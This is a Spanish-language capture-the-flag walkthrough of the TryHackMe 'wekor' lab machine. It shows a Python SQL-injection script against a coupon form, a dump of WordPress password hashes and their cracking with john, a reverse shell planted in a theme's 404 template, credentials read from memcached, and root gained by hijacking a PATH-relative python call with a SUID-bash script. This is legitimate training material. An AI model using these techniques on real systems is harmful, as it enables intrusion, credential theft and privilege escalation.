El dia de hoy estaremos realizando la maquina wekor de la plataforma de TryHackme, la maquina es de dificultad media.
Enumeracion
Comenzemos viendo que puertos estan abiertos en la maquina victima.
1
2
3
4
5
6
7
8
9
10
11
❯ nmap -p- --open 10.10.22.9
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-05 17:16 -05
Nmap scan report for wekor.thm (10.10.22.9)
Host is up (0.17s latency).
Not shown: 51461 closed tcp ports (conn-refused), 14072 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 79.52 seconds
Intentemos detectar la version que corre en estos dos servicios
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ nmap -sCV -p22,80 10.10.22.9 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-05 17:18 -05
Nmap scan report for wekor.thm (10.10.22.9)
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 95c3ceaf07fae28e2904e4cd146a21b5 (RSA)
| 256 4d99b568afbb4e66ce7270e6e3f896a4 (ECDSA)
|_ 256 0de57de81a12c0ddb7665e98345559f6 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 9 disallowed entries
| /workshop/ /root/ /lol/ /agent/ /feed /crawler /boot
|_/comingreallysoon /interesting
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.15 seconds
Tenemos dos servicios, ssh y un servidor web, Enumeremos el servidor web en el script de http-robots.txt que lanzo nmap vemos que este archivo contiene un par de rutas, antes de continuar en la web de TryHackMe nos dicen que agreguemos al /etc/hosts el dominio wekor.thm.
1
❯ echo '10.10.22.9 wekor.thm' >> /etc/hosts
Si con curl vemos el contenido del robots.txt, nos dan unas rutas.
1
2
3
4
5
6
7
8
9
10
11
❯ curl -s http://wekor.thm/robots.txt
User-agent: *
Disallow: /workshop/
Disallow: /root/
Disallow: /lol/
Disallow: /agent/
Disallow: /feed
Disallow: /crawler
Disallow: /boot
Disallow: /comingreallysoon
Disallow: /interesting
vale de todas estas rutas la unica que tiene contenido es /comingreallysoon en la cual nos hablan de un sitio web y nos dan el nombre de un directorio
1
2
3
4
5
6
7
8
❯ curl -s http://wekor.thm/comingreallysoon/
Welcome Dear Client!
We've setup our latest website on /it-next, Please go check it out!
If you have any comments or suggestions, please tweet them to @faketwitteraccount!
Thanks a lot !
Vale si accedemos a esta ruta desde el navegador veremos lo siguiente.
Es una web de compra de articulos de computadores, Enumerando un poco la web llegue a esta parte donde podemos introducir un cupon de descuento Si ponemos un valor random aqui nos devuelve lo siguiente Si probamos una inyeccion sql tipica, vemos que es vulnerable
Vale Para aplicar toda la inyeccion sql, voy a crear un script de python atraves del cual poner las querys y ver todo desde consola.
Inyeccion SQL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/python3
import requests, time, pdb, signal, sys, re
def ctrl_c(sig, frame):
print("\n\n[!] Saliendo.\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, ctrl_c)
# Variables
url = 'http://wekor.thm/it-next/it_cart.php'
burp = {'http':'http://127.0.0.1:8080'}
def makeRequest(query):
post_data = {
"coupon_code":f"test' {query}-- -",
"apply_coupon":"Apply+Coupon"
}
r = requests.post(url, data=post_data)
return r
def makeInjection():
while True:
query = input("$~ ")
r = makeRequest(query)
output = re.findall('<div align="center">(.*?)</div>', r.text)[0]
if '<tr><td style="width:200px">' in output:
output = output.replace('<tr><td style="width:200px">', "")
output = output.replace(' </td>', "")
print(output)
else:
print(output)
if __name__ == "__main__":
makeInjection()
Voy a estar usando rlwrap para poder tener historico y poder moverme de derecha a izquierda sin problemas, vale lo primero es detectar cuantas columnas hay para esto usamos “order by”
1
2
3
4
5
6
7
8
9
❯ rlwrap python3 exploit.py
$~ order by 100
Unknown column '100' in 'order clause'
$~ order by 5
Unknown column '5' in 'order clause'
$~ order by 4
Unknown column '4' in 'order clause'
$~ order by 3
Coupon Code Does Not Exist!
Vale hay 3 columnas, ahora hagamos uso de union select
1
2
$~ union select 1,2,3
Coupon Code :1 With ID : 2 And With Expire Date Of : 3 Is Valid!
Vemos que los 3 numeritos que seleccionamos se nos estan mostrando, atraves de estos podemos dumpear toda la data que nos interese, primero veamos todas las bases de datos que hay en el servidor voy a tirar de group_concat() para que me reporte toda la data junta.
1
2
$~ union select 1,2,group_concat(schema_name) from information_schema.schemata
Coupon Code :1 With ID : 2 And With Expire Date Of : information_schema,coupons,mysql,performance_schema,sys,wordpress Is Valid!
Vale de todas estas bases de datos la que me llama la atencion es wordpress, ya que en esta deben estar credenciales de usuarios de wordpress, veamos las tablas de la base de datos wordpress.
1
2
$~ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='wordpress'
Coupon Code :1 With ID : 2 And With Expire Date Of : wp_commentmeta,wp_comments,wp_links,wp_options,wp_postmeta,wp_posts,wp_term_relationships,wp_term_taxonomy,wp_termmeta,wp_terms,wp_usermeta,wp_users Is Valid!
Vale la tabla que me interesa es wp_users enumeremos sus columnas.
1
2
$~ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='wordpress' and table_name='wp_users'
Coupon Code :1 With ID : 2 And With Expire Date Of : ID,user_login,user_pass,user_nicename,user_email,user_url,user_registered,user_activation_key,user_status,display_name Is Valid!
Me interesa el contenido de las columnas user_login y user_pass, el 0x3a es ‘:’ pero en hexadecimal, hay que poner el nombre de la base de datos y despues la tabla ya que la base de datos wordpress no esta en uso.
1
2
$~ union select 1,2,group_concat(user_login,0x3a,user_pass) from wordpress.wp_users
Coupon Code :1 With ID : 2 And With Expire Date Of : admin:$P$BoyfR2QzhNjRNmQZpva6TuuD0EE31B.,wp_jeffrey:$P$BU8QpWD.kHZv3Vd1r52ibmO913hmj10,wp_yura:$P$B6jSC3m7WdMlLi1/NDb3OFhqv536SV/,wp_eagle:$P$BpyTRbmvfcKyTrbDzaK1zSPgM7J6QY/ Is Valid!
Bueno obtenemos 4 usuarios y 4 contraseñas hasheadas.
1
2
3
4
5
❯ cat hash
admin:$P$BoyfR2QzhNjRNmQZpva6TuuD0EE31B.
wp_jeffrey:$P$BU8QpWD.kHZv3Vd1r52ibmO913hmj10
wp_yura:$P$B6jSC3m7WdMlLi1/NDb3OFhqv536SV/
wp_eagle:$P$BpyTRbmvfcKyTrbDzaK1zSPgM7J6QY/
Intentemos Romper estos hashes usando john
1
2
3
4
5
6
7
8
9
10
11
❯ john hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rockyou (wp_jeffrey)
soccer13 (wp_yura)
2g 0:00:03:00 37,86% (ETA: 16:07:08) 0.01109g/s 30859p/s 30885c/s 30885C/s micky2517..mickey1lew
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session aborted
Solo podemos romper dos hashes, Tenemos dos contraseñas, pero estas no nos van a servir para conectarnos por ssh, Enumeremos un poco mas, si vemos el contenido de la columna user_url nos dan un submonio
1
2
$~ union select 1,2,group_concat(user_url) from wordpress.wp_users
Coupon Code :1 With ID : 2 And With Expire Date Of : http://site.wekor.thm/wordpress,http://jeffrey.com,http://yura.com,http://eagle.com Is Valid!
Agreguemos el subdomionio site.wekor.thm al /etc/hosts, en esta subdominio al parecer se aloja el wordpress, accedamos al el.
Intrusion
Accedamos con la credenciales que obtuvimos de antes.
Estando dentro de un wordpress como adminitradores, podemos manipular cierto contenido para poder ejecutar comandos.
Nos tenemos que ir a appearance y de hay a theme editor, vamos a editar la pantilla del 404.php, pongamos nuestro codigo malicioso que nos mande una revershell.
Agregamos nuestro codigo y le damos a update file.
Para generar un error en la web simplemente tenemos que acceder a un recurso que no exista.
1
❯ curl -s "http://site.wekor.thm/wordpress/?p=100312312"
Y por debajo nos llega la conexion
1
2
3
4
5
6
7
8
9
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.47.45] from (UNKNOWN) [10.10.186.221] 58878
bash: cannot set terminal process group (1086): Inappropriate ioctl for device
bash: no job control in this shell
www-data@osboxes:/var/www/html/site.wekor.thm/wordpress$ whoami
whoami
www-data
www-data@osboxes:/var/www/html/site.wekor.thm/wordpress$
Movimiento lateral
Miremos los puertos que estan abiertos en la maquina
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@osboxes:/var/www/html/site.wekor.thm/wordpress$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3010 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN
tcp 0 2 10.10.186.221:58878 10.8.47.45:4444 ESTABLISHED
tcp 0 1 10.10.186.221:49704 91.189.91.48:80 SYN_SENT
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:631 :::* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 10.10.186.221:80 10.8.47.45:47850 ESTABLISHED
www-data@osboxes:/var/www/html/site.wekor.thm/wordpress$
Hay un puerto que me llama mucho la atencion el 11211 este puerto es de memcached “memcached es almacén de datos en la memoria”, conectemonos a memcached, aver que informacion podemos extraer.
1
www-data@osboxes:/var/www/html/site.wekor.thm/wordpress$ telnet 127.0.0.1 11211
Veamos las estadisticas generales
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
stats items
STAT items:1:number 5
STAT items:1:age 2506
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 0
STAT items:1:lrutail_reflocked 0
END
Veamos una lista detallada de los items almacenados.
1
2
3
4
5
6
7
stats cachedump 1 20
ITEM id [4 b; 1680736314 s]
ITEM email [14 b; 1680736314 s]
ITEM salary [8 b; 1680736314 s]
ITEM password [15 b; 1680736314 s]
ITEM username [4 b; 1680736314 s]
END
Tenemos items muy interesante como username y password, veamos su valores
1
2
3
4
5
6
7
8
get username
VALUE username 0 4
Orka
END
get password
VALUE password 0 15
OrkAiSC00L24/7$
END
Obtenemos la contraseña del usuario Orka, migremos a este usuario usando esta credencial
1
2
3
4
5
www-data@osboxes:/var/www/html/site.wekor.thm/wordpress$ su Orka
Password:
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress$ whoami
Orka
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress$
Escalada de privelegios
si miramos los privilegios que tenemos a nivel de sudoers podemos ejecutar un binario como root
1
2
3
4
5
6
7
8
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress$ sudo -l
[sudo] password for Orka:
Matching Defaults entries for Orka on osboxes:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User Orka may run the following commands on osboxes:
(root) /home/Orka/Desktop/bitcoin
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress$
Si ejecutamos el binario nos pide una contraseña
1
2
3
4
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress$ /home/Orka/Desktop/bitcoin
Enter the password : test
Access Denied...
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress$
Si miramos las cadenas imprimibles del binario vemos dos cosas interesante, vemos la contraseña en texto claro y vemos que el binario esta ejecutando un script de python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress$ strings /home/Orka/Desktop/bitcoin |head -n40
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
gets
sprintf
__isoc99_scanf
puts
__stack_chk_fail
__ctype_b_loc
system
sleep
strcmp
__libc_start_main
__gmon_start__
GLIBC_2.3
GLIBC_2.7
GLIBC_2.4
GLIBC_2.0
PTRh
QVh+
UWVS
t$,U
[^_]
Enter the password :
password
Access Denied...
Access Granted...
User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins :
Sorry, This is not a valid amount!
python /home/Orka/Desktop/transfer.py %c
;*2$",
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress$
Volvamos a ejecutar el binario pero esta vez pasandole la contraseña que obtuvimos
1
2
3
4
5
6
7
8
9
10
11
12
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress$ /home/Orka/Desktop/bitcoin
Enter the password : password
Access Granted...
User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins : 10
Saving 1 BitCoin(s) For Later Use
Do you want to make a transfer? Y/N : y
Quitting...
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress$
Despues de que ponemos la contraseña correcta nos pide un numero para la transaccion y se ejecuta un script de python por detras, anteriormente vimos que esta ejecutando con python el script que se encuentra en esta ruta /home/Orka/Desktop/transfer.py, como el comando python no lo esta llamando de manera absoluta si no relativa, si de alguna forma podemos escribir en un directorio que este en el path podriamos crear nuestro propio archivo que ejecute una accion maliciosa, busquemos directorios con capacidad de escritura.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Orka@osboxes:/$ find / -type d -writable 2>/dev/null |grep -vE 'home|var|proc|run|sys|dev'
/usr/lib/python3.5/xml/parsers/__pycache__
/usr/lib/python3.5/xml/__pycache__
/usr/lib/python3.5/xml/dom/__pycache__
/usr/lib/python3.5/urllib/__pycache__
/usr/lib/python3.5/json/__pycache__
/usr/lib/python3.5/http/__pycache__
/usr/lib/python3.5/email/mime/__pycache__
/usr/lib/python3.5/email/__pycache__
/usr/sbin
/tmp
/tmp/.Test-unix
/tmp/.XIM-unix
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.X11-unix
Tenemos capacidad de escritura el el directorio /usr/sbin el cual hacer parte del path,aprovechemosnos de el para crear nuestro propio archivo, y demosle permisos de ejecucion
1
2
3
4
5
6
7
Orka@osboxes:/usr/sbin$ nano python
Orka@osboxes:/usr/sbin$ chmod +x python
Orka@osboxes:/usr/sbin$ cat python
#!/bin/bash
chmod u+s /bin/bash
Orka@osboxes:/usr/sbin$
ahora ejecutemos el binario.
1
2
3
4
5
6
7
8
9
Orka@osboxes:/usr/sbin$ sudo /home/Orka/Desktop/bitcoin
Enter the password : password
Access Granted...
User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins : 11
Orka@osboxes:/usr/sbin$
Ahora no nos aparece el mensaje de hace un momento ya que cuando llamo a python en realidad ejecuto nuestro archivo malicioso y ahora la bash deveria ser suid.
1
2
3
Orka@osboxes:/usr/sbin$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1109564 Jul 12 2019 /bin/bash
Orka@osboxes:/usr/sbin$
Como le asiganos el privilegio suid a la bash ya nos la podemos lanzar como el propietario(root) temporalmente.
1
2
3
4
Orka@osboxes:/usr/sbin$ bash -p
bash-4.3# whoami
root
bash-4.3#
Gracias por leer.